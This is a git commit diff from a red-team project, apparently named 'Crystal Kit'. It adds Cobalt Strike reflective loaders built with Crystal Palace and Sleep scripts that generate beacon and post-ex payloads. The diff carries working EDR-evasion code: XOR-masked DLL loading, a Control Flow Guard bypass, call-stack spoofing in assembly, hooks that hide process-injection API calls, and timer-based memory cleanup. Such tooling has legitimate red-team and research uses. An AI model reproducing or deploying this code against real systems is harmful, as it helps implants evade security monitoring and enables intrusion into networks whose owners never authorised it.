big update

This commit is contained in:
Rasta Mouse
2025-12-03 15:11:21 +00:00
parent fa307acb01
commit defeef68df
91 changed files with 4941 additions and 4021 deletions
+6 -4
View File
@@ -1,7 +1,9 @@
all:
cd udrl && make $@
cd postex-udrl && make $@
cd loader && make $@
cd local-loader && make $@
cd postex-loader && make $@
clean:
cd udrl && make $@
cd postex-udrl && make $@
cd loader && make $@
cd local-loader && make $@
cd postex-loader && make $@
+7 -7
View File
@@ -1,22 +1,21 @@
# Crystal Kit
This repo is a technical and social experiment to see if replacing Cobalt Strike's evasion primitives (Sleepmask/BeaconGate) with Crystal Palace PIC is feasible (or even desirable) for advanced evasion scenarios. Also see the accompanying [blog post](https://rastamouse.me/crystal-kit/).
This repo is a technical and social experiment to explore whether replacing Cobalt Strike's evasion primitives (Sleepmask/BeaconGate) with a [Crystal Palace](https://tradecraftgarden.org/) PICO is feasible (or even desirable) for advanced evasion scenarios.
## Usage
1. Disable the Sleepmask and stage obfuscations in Malleable C2.
1. Disable the sleepmask and stage obfuscations in Malleable C2.
```text
stage {
set rdll_loader "PrependLoader";
set sleep_mask "false";
set cleanup "true";
set sleep_mask "false";
set cleanup "true";
transform-obfuscate { }
}
post-ex {
set cleanup "true";
set smartinject "true";
}
```
@@ -25,4 +24,5 @@ post-ex {
### Notes
Tested on CS 4.11.1.
- Tested on Cobalt Strike 4.12.
- Can work with any post-ex DLL capability.
+76 -38
View File
@@ -1,39 +1,37 @@
debug ( 7 );
import crystalpalace.spec.* from: crystalpalace.jar;
import java.util.HashMap;
sub print_info {
println(formatDate("[HH:mm:ss] ") . "\cE[Crystal Kit]\o " . $1);
println ( formatDate ( "[HH:mm:ss] " ) . "\cE[Crystal Kit]\o " . $1 );
}
set BEACON_RDLL_GENERATE {
local('$beacon $arch $file_path $spec $final');
set BEACON_RDLL_GENERATE
{
local ( '$beacon $arch $spec_path $spec $final' );
$beacon = $2;
$arch = $3;
if ($arch eq "x86") {
warn("Crystal Kit is x64 only");
if ( $arch eq "x86" )
{
warn ( "Crystal Kit is x64 only" );
return $null;
}
# get path to spec file
$file_path = getFileProper(script_resource("udrl"), "loader.spec");
print_info ( "BEACON_RDLL_GENERATE" );
# parse the spec
print_info("Parsing $+ $file_path $+ ...");
$spec = [LinkSpec Parse: $file_path];
$spec_path = getFileProper ( script_resource ( "loader" ), "loader.spec" );
$spec = [ LinkSpec Parse: $spec_path ];
$final = [ $spec run: $beacon, [ new HashMap ] ];
# apply the spec
print_info("Applying spec...");
$final = [$spec run: $beacon, [new HashMap]];
if (strlen($final) == 0) {
warn("Failed to build payload");
if ( strlen ( $final ) == 0 )
{
warn ( "Failed to build payload" );
return $null;
}
print_info("Payload Size: " . strlen($final) . " bytes");
return $final;
}
@@ -41,34 +39,74 @@ set BEACON_RDLL_SIZE {
return "0";
}
set POSTEX_RDLL_GENERATE {
local('$postex $arch $file_path $spec $final');
$postex = $2;
$arch = $3;
set BEACON_RDLL_GENERATE_LOCAL
{
local ( '$beacon $arch $gmh $gpa $spec_path $spec $hash_map $final' );
if ($arch eq "x86") {
warn("Crystal Kit is x64 only");
$beacon = $2;
$arch = $3;
$gmh = $5;
$gpa = $6;
if ( $arch eq "x86" )
{
warn ( "Crystal Kit is x64 only" );
return $null;
}
# get path to spec file
$file_path = getFileProper(script_resource("postex-udrl"), "loader.spec");
print_info ( "BEACON_RDLL_GENERATE_LOCAL" );
# parse the spec
print_info("Parsing $+ $file_path $+ ...");
$spec = [LinkSpec Parse: $file_path];
$spec_path = getFileProper ( script_resource ( "local-loader" ), "loader.spec" );
$spec = [ LinkSpec Parse: $spec_path ];
# apply the spec
print_info("Applying spec...");
$final = [$spec run: $postex, [new HashMap]];
$hash_map = [ new HashMap ];
if (strlen($final) == 0) {
warn("Failed to build package");
[ $hash_map put: "\$GMH", cast ( $gmh, 'b' ) ];
[ $hash_map put: "\$GPA", cast ( $gpa, 'b' ) ];
$final = [ $spec run: $beacon, $hash_map ];
if ( strlen ( $final ) == 0 )
{
warn ( "Failed to build payload" );
return $null;
}
return $final;
}
set POSTEX_RDLL_GENERATE
{
local ( '$postex $arch $gmh $gpa $spec_path $spec $hash_map $final' );
$postex = $2;
$arch = $3;
$gmh = $5;
$gpa = $6;
if ( $arch eq "x86" )
{
warn ( "Crystal Kit is x64 only" );
return $null;
}
print_info ( "POSTEX_RDLL_GENERATE" );
$spec_path = getFileProper ( script_resource ( "postex-loader" ), "loader.spec" );
$spec = [ LinkSpec Parse: $spec_path ];
$hash_map = [ new HashMap ];
[ $hash_map put: "\$GMH", cast ( $gmh, 'b' ) ];
[ $hash_map put: "\$GPA", cast ( $gpa, 'b' ) ];
$final = [ $spec run: $postex, $hash_map ];
if ( strlen ( $final ) == 0 )
{
warn ( "Failed to build package" );
return $null;
}
print_info("Final Size: " . strlen($final) . " bytes");
return $final;
}
}
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+22
View File
@@ -0,0 +1,22 @@
CC_64=x86_64-w64-mingw32-gcc
NASM=nasm
all: bin/loader.x64.o
bin:
mkdir bin
bin/loader.x64.o: bin
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/services.c -o bin/services.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/pico.c -o bin/pico.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/spoof.c -o bin/spoof.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/mask.c -o bin/mask.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cfg.c -o bin/cfg.x64.o
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cleanup.c -o bin/cleanup.x64.o
$(NASM) src/draugr.asm -o bin/draugr.x64.bin
clean:
rm -f bin/*
Binary file not shown.
+43
View File
@@ -0,0 +1,43 @@
x64:
load "bin/loader.x64.o"
make pic +gofirst +optimize
# merge pic services
run "services.spec"
# merge hooks into the loader
load "bin/hooks.x64.o"
merge
# merge call stack spoofing into the loader
load "bin/spoof.x64.o"
merge
# load the stack spoofing assembly
load "bin/draugr.x64.bin"
linkfunc "draugr_stub"
# hook functions that the loader uses
attach "KERNEL32$LoadLibraryA" "_LoadLibraryA"
attach "KERNEL32$VirtualAlloc" "_VirtualAlloc"
attach "KERNEL32$VirtualProtect" "_VirtualProtect"
attach "KERNEL32$VirtualFree" "_VirtualFree"
preserve "KERNEL32$LoadLibraryA" "init_frame_info"
# mask & link the dll
generate $MASK 128
push $DLL
xor $MASK
preplen
link "dll"
push $MASK
preplen
link "mask"
# now get the tradecraft as a PICO
run "pico.spec"
link "pico"
export
+69
View File
@@ -0,0 +1,69 @@
x64:
load "bin/pico.x64.o"
make object +disco
# merge the hook functions
load "bin/hooks.x64.o"
merge
# merge the call stack spoofing
load "bin/spoof.x64.o"
merge
# merge the asm stub
load "bin/draugr.x64.bin"
linkfunc "draugr_stub"
# merge mask
load "bin/mask.x64.o"
merge
# generate and patch
# in a random key
generate $KEY 128
patch "xorkey" $KEY
# merge cfg code
load "bin/cfg.x64.o"
merge
# merge cleanup
load "bin/cleanup.x64.o"
merge
# export setup_hooks and setup_memory
exportfunc "setup_hooks" "__tag_setup_hooks"
exportfunc "setup_memory" "__tag_setup_memory"
# hook functions in the DLL
addhook "WININET$InternetOpenA" "_InternetOpenA"
addhook "WININET$InternetConnectA" "_InternetConnectA"
addhook "KERNEL32$CloseHandle" "_CloseHandle"
addhook "KERNEL32$CreateFileMappingA" "_CreateFileMappingA"
addhook "KERNEL32$CreateProcessA" "_CreateProcessA"
addhook "KERNEL32$CreateRemoteThread" "_CreateRemoteThread"
addhook "KERNEL32$CreateThread" "_CreateThread"
addhook "KERNEL32$DuplicateHandle" "_DuplicateHandle"
addhook "KERNEL32$ExitThread" "_ExitThread"
addhook "KERNEL32$GetThreadContext" "_GetThreadContext"
addhook "KERNEL32$LoadLibraryA" "_LoadLibraryA"
addhook "KERNEL32$MapViewOfFile" "_MapViewOfFile"
addhook "KERNEL32$OpenProcess" "_OpenProcess"
addhook "KERNEL32$OpenThread" "_OpenThread"
addhook "KERNEL32$ReadProcessMemory" "_ReadProcessMemory"
addhook "KERNEL32$ResumeThread" "_ResumeThread"
addhook "KERNEL32$SetThreadContext" "_SetThreadContext"
addhook "KERNEL32$Sleep" "_Sleep"
addhook "KERNEL32$UnmapViewOfFile" "_UnmapViewOfFile"
addhook "KERNEL32$VirtualAlloc" "_VirtualAlloc"
addhook "KERNEL32$VirtualAllocEx" "_VirtualAllocEx"
addhook "KERNEL32$VirtualFree" "_VirtualFree"
addhook "KERNEL32$VirtualProtect" "_VirtualProtect"
addhook "KERNEL32$VirtualProtectEx" "_VirtualProtectEx"
addhook "KERNEL32$VirtualQuery" "_VirtualQuery"
addhook "KERNEL32$WriteProcessMemory" "_WriteProcessMemory"
addhook "OLE32$CoCreateInstance" "_CoCreateInstance"
mergelib "../libtcg.x64.zip"
export
+8
View File
@@ -0,0 +1,8 @@
x64:
load "bin/services.x64.o"
merge
mergelib "../libtcg.x64.zip"
dfr "resolve" "ror13" "KERNEL32, NTDLL"
dfr "resolve_ext" "strings"
+78
View File
@@ -0,0 +1,78 @@
#include <windows.h>
#include "cfg.h"
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess ( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG );
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory ( HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T );
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory ( HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, MEMORY_RANGE_ENTRY *, PVOID, ULONG );
BOOL cfg_enabled ( )
{
EXTENDED_PROCESS_INFORMATION proc_info = { 0 };
NTSTATUS status = 0;
proc_info.ExtendedProcessInfo = ProcessControlFlowGuardPolicy;
proc_info.ExtendedProcessInfoBuffer = 0;
status = NTDLL$NtQueryInformationProcess ( NtCurrentProcess ( ), ProcessCookie | ProcessUserModeIOPL, &proc_info, sizeof ( proc_info ), NULL );
if ( ! NT_SUCCESS ( status ) ) {
return FALSE;
}
return proc_info.ExtendedProcessInfoBuffer;
}
BOOL bypass_cfg ( PVOID address )
{
MEMORY_BASIC_INFORMATION mbi = { 0 };
VM_INFORMATION vmi = { 0 };
MEMORY_RANGE_ENTRY mre = { 0 };
CFG_CALL_TARGET_INFO cti = { 0 };
NTSTATUS status = NTDLL$NtQueryVirtualMemory ( NtCurrentProcess ( ), address, MemoryBasicInformation, &mbi, sizeof ( mbi ), 0 );
if ( ! NT_SUCCESS ( status ) ) {
return FALSE;
}
if ( mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE ) {
return FALSE;
}
cti.Offset = ( ULONG_PTR ) address - ( ULONG_PTR ) mbi.BaseAddress;
cti.Flags = CFG_CALL_TARGET_VALID;
mre.NumberOfBytes = ( SIZE_T ) mbi.RegionSize;
mre.VirtualAddress = ( PVOID ) mbi.BaseAddress;
ULONG output = 0;
vmi.dwNumberOfOffsets = 0x1;
vmi.plOutput = &output;
vmi.ptOffsets = &cti;
vmi.pMustBeZero = 0x0;
vmi.pMoarZero = 0x0;
status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, ( ULONG ) sizeof ( vmi ) );
if ( status == 0xC00000F4 )
{
/* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */
status = NTDLL$NtSetInformationVirtualMemory ( NtCurrentProcess ( ), VmCfgCallTargetInformation, 1, &mre, ( PVOID ) &vmi, 24 );
}
if ( ! NT_SUCCESS ( status ) )
{
/* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */
if ( status == 0xC0000045 )
{
/* pretend we bypassed it so timers can continue */
return TRUE;
}
return FALSE;
}
return TRUE;
}
+38
View File
@@ -0,0 +1,38 @@
#define NT_SUCCESS(status) ( ( NTSTATUS ) ( status ) >= 0 )
#define NtCurrentProcess() ( ( HANDLE ) ( ULONG_PTR ) -1 )
typedef struct {
ULONG ExtendedProcessInfo;
ULONG ExtendedProcessInfoBuffer;
} EXTENDED_PROCESS_INFORMATION;
typedef enum {
ProcessUserModeIOPL = 16,
ProcessCookie = 36
} PROCESSINFOCLASS;
typedef struct {
DWORD dwNumberOfOffsets;
PULONG plOutput;
PCFG_CALL_TARGET_INFO ptOffsets;
PVOID pMustBeZero;
PVOID pMoarZero;
} VM_INFORMATION;
typedef enum {
VmPrefetchInformation,
VmPagePriorityInformation,
VmCfgCallTargetInformation
} VIRTUAL_MEMORY_INFORMATION_CLASS;
typedef struct {
PVOID VirtualAddress;
SIZE_T NumberOfBytes;
} MEMORY_RANGE_ENTRY;
typedef enum {
MemoryBasicInformation
} MEMORY_INFORMATION_CLASS;
BOOL cfg_enabled ( );
BOOL bypass_cfg ( PVOID address );
+92
View File
@@ -0,0 +1,92 @@
#include <windows.h>
#include "memory.h"
#include "cfg.h"
#include "spoof.h"
#include "tcg.h"
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateTimerQueue ( );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateTimerQueueTimer ( PHANDLE, HANDLE, WAITORTIMERCALLBACK, PVOID, DWORD, DWORD, ULONG );
DECLSPEC_IMPORT VOID WINAPI KERNEL32$ExitThread ( DWORD );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap ( );
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc ( HANDLE, DWORD, SIZE_T );
DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep ( DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
#define memcpy(x, y, z) __movsb ( ( unsigned char * ) x, ( unsigned char * ) y, z );
#define NTDLL_HASH 0x3CFA685D
#define VIRTUALFREE_HASH 0x30633AC
void cleanup_memory ( MEMORY_LAYOUT * memory )
{
/* is cfg enabled? */
BOOL enabled = cfg_enabled ( );
if ( enabled ) {
/* try to bypass it at NtContinue */
if ( bypass_cfg ( NTDLL$NtContinue ) ) {
enabled = FALSE;
}
}
/*
* just return if we
* failed to bypass it
*/
if ( enabled ) {
return;
}
/*
* crack on and setup a timer
* to free the memory regions
*/
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_ALL;
HANDLE timer_queue = KERNEL32$CreateTimerQueue ( ), timer = NULL;
if ( KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( KERNEL32$RtlCaptureContext ), &ctx, 0, 0, WT_EXECUTEINTIMERTHREAD ) )
{
/* give RtlCaptureContext a chance to run */
KERNEL32$Sleep ( 100 );
if ( ctx.Rip != 0 )
{
HANDLE heap = KERNEL32$GetProcessHeap ( );
CONTEXT * ctx_free = ( CONTEXT * ) KERNEL32$HeapAlloc ( heap, HEAP_ZERO_MEMORY, sizeof ( CONTEXT ) * 2 );
for ( int i = 0; i < 2; i++ ) {
memcpy ( &ctx_free [ i ], &ctx, sizeof ( CONTEXT ) );
}
/*
* we use VirtualFree here because
* the loader uses VirtualAlloc
*/
/* the dll */
ctx_free[ 0 ].Rsp -= sizeof ( PVOID );
ctx_free[ 0 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
ctx_free[ 0 ].Rcx = ( DWORD64 ) ( memory->Dll.BaseAddress );
ctx_free[ 0 ].Rdx = ( DWORD64 ) ( 0 );
ctx_free[ 0 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
/* this pico */
ctx_free[ 1 ].Rsp -= sizeof ( PVOID );
ctx_free[ 1 ].Rip = ( DWORD64 ) ( KERNEL32$VirtualFree );
ctx_free[ 1 ].Rcx = ( DWORD64 ) ( memory->Pico.BaseAddress );
ctx_free[ 1 ].Rdx = ( DWORD64 ) ( 0 );
ctx_free[ 1 ].R8 = ( DWORD64 ) ( MEM_RELEASE );
/* give a decent delay so ExitThread has time to be called */
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 0 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
KERNEL32$CreateTimerQueueTimer ( &timer, timer_queue, ( WAITORTIMERCALLBACK ) ( NTDLL$NtContinue ), &ctx_free [ 1 ], 500, 0, WT_EXECUTEINTIMERTHREAD );
}
}
}
+1
View File
@@ -0,0 +1 @@
void cleanup_memory ( MEMORY_LAYOUT * memory );
+147
View File
@@ -0,0 +1,147 @@
[BITS 64]
draugr_stub:
pop rax ; Real return address in rax
mov r10, rdi ; Store OG rdi in r10
mov r11, rsi ; Store OG rsi in r11
mov rdi, [ rsp + 32 ] ; Storing struct in rdi
mov rsi, [ rsp + 40 ] ; Storing function to call
; ---------------------------------------------------------------------
; Storing our original registers
; ---------------------------------------------------------------------
mov [ rdi + 24 ], r10 ; Storing OG rdi into param
mov [ rdi + 88 ], r11 ; Storing OG rsi into param
mov [ rdi + 96 ], r12 ; Storing OG r12 into param
mov [ rdi + 104 ], r13 ; Storing OG r13 into param
mov [ rdi + 112 ], r14 ; Storing OG r14 into param
mov [ rdi + 120 ], r15 ; Storing OG r15 into param
mov r12, rax ; OG code used r12 for ret addr
; ---------------------------------------------------------------------
; Prepping to move stack args
; ---------------------------------------------------------------------
xor r11, r11 ; r11 will hold the # of args that have been "pushed"
mov r13, [ rsp + 0x30 ] ; r13 will hold the # of args total that will be pushed
mov r14, 0x200 ; r14 will hold the offset we need to push stuff
add r14, 8
add r14, [ rdi + 56 ] ; stack size of RUTS
add r14, [ rdi + 48 ] ; stack size of BTIT
add r14, [ rdi + 32 ] ; stack size of our gadget frame
sub r14, 0x20 ; first stack arg is located at +0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time
mov r10, rsp
add r10, 0x30 ; offset of stack arg added to rsp
looping:
xor r15, r15 ; r15 will hold the offset + rsp base
cmp r11d, r13d ; comparing # of stack args added vs # of stack args we need to add
je finish
; ---------------------------------------------------------------------
; Getting location to move the stack arg to
; ---------------------------------------------------------------------
sub r14, 8 ; 1 arg means r11 is 0, r14 already 0x28 offset.
mov r15, rsp ; get current stack base
sub r15, r14 ; subtract offset
; ---------------------------------------------------------------------
; Procuring the stack arg
; ---------------------------------------------------------------------
add r10, 8
push qword [ r10 ]
pop qword [ r15 ]
; ---------------------------------------------------------------------
; Increment the counter and loop back in case we need more args
; ---------------------------------------------------------------------
add r11, 1
jmp looping
finish:
; ----------------------------------------------------------------------
; Creating a big 320 byte working space
; ----------------------------------------------------------------------
sub rsp, 0x200
; ----------------------------------------------------------------------
; Pushing a 0 to cut off the return addresses after RtlUserThreadStart.
; Need to figure out why this cuts off the call stack
; ----------------------------------------------------------------------
push 0
; ----------------------------------------------------------------------
; RtlUserThreadStart + 0x14 frame
; ----------------------------------------------------------------------
sub rsp, [ rdi + 56 ]
mov r11, [ rdi + 64 ]
mov [ rsp ], r11
; ----------------------------------------------------------------------
; BaseThreadInitThunk + 0x21 frame
; ----------------------------------------------------------------------
sub rsp, [ rdi + 32 ]
mov r11, [ rdi + 40 ]
mov [ rsp ], r11
; ----------------------------------------------------------------------
; Gadget frame
; ----------------------------------------------------------------------
sub rsp, [ rdi + 48 ]
mov r11, [ rdi + 80 ]
mov [ rsp ], r11
; ----------------------------------------------------------------------
; Adjusting the param struct for the fixup
; ----------------------------------------------------------------------
mov r11, rsi ; Copying function to call into r11
mov [ rdi + 8 ], r12 ; Real return address is now moved into the "OG_retaddr" member
mov [ rdi + 16 ], rbx ; original rbx is stored into "rbx" member
lea rbx, [ rel fixup ] ; Fixup address is moved into rbx
mov [ rdi ], rbx ; Fixup member now holds the address of Fixup
mov rbx, rdi ; Address of param struct (Fixup) is moved into rbx
; ----------------------------------------------------------------------
; Syscall stuff. Shouldn't affect performance even if a syscall isnt made
; ----------------------------------------------------------------------
mov r10, rcx
mov rax, [ rdi + 72 ]
jmp r11
fixup:
mov rcx, rbx
add rsp, 0x200 ; Big frame thing
add rsp, [ rbx + 48 ] ; Stack size
add rsp, [ rbx + 32 ] ; Stack size
add rsp, [ rbx + 56 ] ; Stack size
mov rbx, [ rcx + 16 ] ; Restoring OG RBX
mov rdi, [ rcx + 24 ] ; ReStoring OG rdi
mov rsi, [ rcx + 88 ] ; ReStoring OG rsi
mov r12, [ rcx + 96 ] ; ReStoring OG r12
mov r13, [ rcx + 104 ] ; ReStoring OG r13
mov r14, [ rcx + 112 ] ; ReStoring OG r14
mov r15, [ rcx + 120 ] ; ReStoring OG r15
push rax
xor rax, rax
pop rax
jmp QWORD [ rcx + 8 ]
+420
View File
@@ -0,0 +1,420 @@
#include <windows.h>
#include <wininet.h>
#include <combaseapi.h>
#include "tcg.h"
#include "memory.h"
#include "spoof.h"
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetConnectA ( HINTERNET, LPCSTR, INTERNET_PORT, LPCSTR, LPCSTR, DWORD, DWORD, DWORD_PTR );
DECLSPEC_IMPORT HINTERNET WINAPI WININET$InternetOpenA ( LPCSTR, DWORD, LPCSTR, LPCSTR, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle ( HANDLE );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateFileMappingA ( HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CreateProcessA ( LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread ( HANDLE, LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateThread ( LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$DuplicateHandle ( HANDLE, HANDLE, HANDLE, LPHANDLE, DWORD, BOOL, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$GetThreadContext ( HANDLE, LPCONTEXT );
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$MapViewOfFile ( HANDLE, DWORD, DWORD, DWORD, SIZE_T );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess ( DWORD, BOOL, DWORD );
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenThread ( DWORD, BOOL, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$ReadProcessMemory ( HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T * );
DECLSPEC_IMPORT DWORD WINAPI KERNEL32$ResumeThread ( HANDLE );
DECLSPEC_IMPORT VOID WINAPI KERNEL32$RtlCaptureContext ( PCONTEXT );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$SetThreadContext ( HANDLE, const CONTEXT * );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$UnmapViewOfFile ( LPCVOID );
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAlloc ( LPVOID, SIZE_T, DWORD, DWORD );
DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx ( HANDLE, LPVOID, SIZE_T, DWORD, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualFree ( LPVOID, SIZE_T, DWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtect ( LPVOID, SIZE_T, DWORD, PDWORD );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$VirtualProtectEx ( HANDLE, LPVOID, SIZE_T, DWORD, PDWORD );
DECLSPEC_IMPORT SIZE_T WINAPI KERNEL32$VirtualQuery ( LPCVOID, PMEMORY_BASIC_INFORMATION, SIZE_T );
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory ( HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T * );
DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance ( REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID * );
DECLSPEC_IMPORT ULONG NTAPI NTDLL$NtContinue ( CONTEXT *, BOOLEAN );
// cannot put this here because it fails to build
// to PIC when hooks.x64.o is merged into the loader
// extern MEMORY_LAYOUT g_memory;
HINTERNET WINAPI _InternetOpenA ( LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( WININET$InternetOpenA );
call.argc = 5;
call.args [ 0 ] = spoof_arg ( lpszAgent );
call.args [ 1 ] = spoof_arg ( dwAccessType );
call.args [ 2 ] = spoof_arg ( lpszProxy );
call.args [ 3 ] = spoof_arg ( lpszProxyBypass );
call.args [ 4 ] = spoof_arg ( dwFlags );
return ( HINTERNET ) spoof_call ( &call );
}
HINTERNET WINAPI _InternetConnectA ( HINTERNET hInternet, LPCSTR lpszServerName, INTERNET_PORT nServerPort, LPCSTR lpszUserName, LPCSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( WININET$InternetConnectA );
call.argc = 8;
call.args [ 0 ] = spoof_arg ( hInternet );
call.args [ 1 ] = spoof_arg ( lpszServerName );
call.args [ 2 ] = spoof_arg ( nServerPort );
call.args [ 3 ] = spoof_arg ( lpszUserName );
call.args [ 4 ] = spoof_arg ( lpszPassword );
call.args [ 5 ] = spoof_arg ( dwService );
call.args [ 6 ] = spoof_arg ( dwFlags );
call.args [ 7 ] = spoof_arg ( dwContext );
return ( HINTERNET ) spoof_call ( &call );
}
BOOL WINAPI _CloseHandle ( HANDLE hObject )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$CloseHandle );
call.argc = 1;
call.args [ 0 ] = spoof_arg ( hObject );
return ( BOOL ) spoof_call ( &call );
}
HANDLE WINAPI _CreateFileMappingA ( HANDLE hFile, LPSECURITY_ATTRIBUTES lpFileMappingAttributes, DWORD flProtect, DWORD dwMaximumSizeHigh, DWORD dwMaximumSizeLow, LPCSTR lpName )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$CreateFileMappingA );
call.argc = 6;
call.args [ 0 ] = spoof_arg ( hFile );
call.args [ 1 ] = spoof_arg ( lpFileMappingAttributes );
call.args [ 2 ] = spoof_arg ( flProtect );
call.args [ 3 ] = spoof_arg ( dwMaximumSizeHigh );
call.args [ 4 ] = spoof_arg ( dwMaximumSizeLow );
call.args [ 5 ] = spoof_arg ( lpName );
return ( HANDLE ) spoof_call ( &call );
}
BOOL _CreateProcessA ( LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$CreateProcessA );
call.argc = 10;
call.args [ 0 ] = spoof_arg ( lpApplicationName );
call.args [ 1 ] = spoof_arg ( lpCommandLine );
call.args [ 2 ] = spoof_arg ( lpProcessAttributes );
call.args [ 3 ] = spoof_arg ( lpThreadAttributes );
call.args [ 4 ] = spoof_arg ( bInheritHandles );
call.args [ 5 ] = spoof_arg ( dwCreationFlags );
call.args [ 6 ] = spoof_arg ( lpEnvironment );
call.args [ 7 ] = spoof_arg ( lpCurrentDirectory );
call.args [ 8 ] = spoof_arg ( lpStartupInfo );
call.args [ 9 ] = spoof_arg ( lpProcessInformation );
return ( BOOL ) spoof_call ( &call );
}
HANDLE WINAPI _CreateRemoteThread ( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId )
{
FUNCTION_CALL call = { 0 };
call.ptr = ( PVOID ) ( KERNEL32$CreateRemoteThread );
call.argc = 7;
call.args [ 0 ] = spoof_arg ( hProcess );
call.args [ 1 ] = spoof_arg ( lpThreadAttributes );
call.args [ 2 ] = spoof_arg ( dwStackSize );
call.args [ 3 ] = spoof_arg ( lpStartAddress );
call.args [ 4 ] = spoof_arg ( lpParameter );
call.args [ 5 ] = spoof_arg ( dwCreationFlags );
call.args [ 6 ] = spoof_arg ( lpThreadId );
return ( HANDLE ) spoof_call ( &call );
}
